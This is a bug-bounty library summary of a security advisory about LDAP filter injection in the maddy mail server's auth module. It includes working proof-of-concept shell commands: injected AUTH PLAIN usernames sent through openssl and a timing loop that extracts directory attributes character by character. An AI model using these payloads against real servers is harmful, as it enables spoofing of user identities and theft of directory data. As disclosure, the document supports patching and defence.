# Maddy Mail Server has an LDAP Filter Injection via Unsanitized Username

maddy's auth.ldap interpolates usernames into LDAP filters/DNs unescaped, letting SMTP/IMAP attackers spoof identities and blind-extract directory attributes.

- Payout: Research
- Severity: high
- Program: maddy
- Found by: RealHurrison, Ghost1032
- Disclosed: 2026-04-13
- CVE: CVE-2026-40193
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-5835-4gvc-32pc
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-5835-4gvc-32pc
- Tags: area:cloud domain:infra impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:go technique:blind technique:source-review vuln:access-control vuln:auth-bypass vuln:info-disclosure

**Target:** SMTP submission AUTH PLAIN / IMAP LOGIN auth.ldap module
**Root cause:** Username is substituted into LDAP filter templates and DN templates with strings.ReplaceAll() without ldap.EscapeFilter(), so injected LDAP syntax alters the search filter or DN.
**Steps:**
1. Configure auth.ldap with `filter "(&(objectClass=inetOrgPerson)(uid={username}))"` and base_dn ou=people,dc=example,dc=org.
2. Send SMTP AUTH PLAIN with base64 of `\x00bob)(description=S*\x00bob_pass` via `openssl s_client -connect 127.0.0.1:587 -starttls smtp`.
3. Resulting filter `(&(objectClass=inetOrgPerson)(uid=bob)(description=S*))`; 235 means match, 535 means no match.
4. Iterate characters to reconstruct the attribute value; for unknown-password users use timing delta between 0-match (fast) and bind-fail (slow) paths.
**How found:** Code review of internal/auth/ldap/ldap.go spotted strings.ReplaceAll() on username in filter/DN construction while ldap.EscapeFilter() from the already-imported go-ldap library was never called.
**Exploitation:** Attacker with any valid credential uses the auth success/failure response as a boolean oracle to extract arbitrary LDAP attributes of that account; for other users, measures response timing (0 matches = fast 535, 1 match + failed bind = slow 535) to blind-extract attributes. Injected username also becomes the authenticated identity, enabling spoofing of username-based authorization.
**Escalation:** Boolean oracle plus timing side-channel extends extraction from own account to arbitrary directory entries; DN template path allows targeting other OUs/subtrees.
**Insight:** When a library's escape helper is imported but unused next to string interpolation of user input, that's the bug; also note the two distinct failure paths (0-match vs bind-fail) create a timing oracle even when responses are identical.

## Proof of concept (copied exactly from the original report)

**AUTH PLAIN with injected LDAP filter username**

```
INJECTED='bob)(description=S*'
AUTH_BLOB=$(printf "\x00${INJECTED}\x00bob_pass" | base64)
openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet <<EOF
EHLO test
AUTH PLAIN $AUTH_BLOB
QUIT
EOF
# 235 → yes, starts with "S"
```

**Timing-based blind injection loop over characters**

```
for c in {a..z} {A..Z} {0..9}; do
    INJECTED="alice)(description=${c}*"
    AUTH_BLOB=$(printf "\x00${INJECTED}\x00wrong" | base64)
    START=$(date +%s%N)
    echo -e "EHLO test\r\nAUTH PLAIN ${AUTH_BLOB}\r\nQUIT\r\n" | \
        openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet 2>/dev/null
    END=$(date +%s%N)
    ELAPSED=$(( (END - START) / 1000000 ))
    echo "char='$c' time=${ELAPSED}ms"
done
```

**Baseline AUTH PLAIN request for alice**

```
AUTH_BLOB=$(printf '\x00alice\x00alice_pass' | base64)

# Connect via SMTP submission with STARTTLS
openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet <<EOF
EHLO test
AUTH PLAIN $AUTH_BLOB
QUIT
EOF
# Expected: 235 Authentication succeeded
```

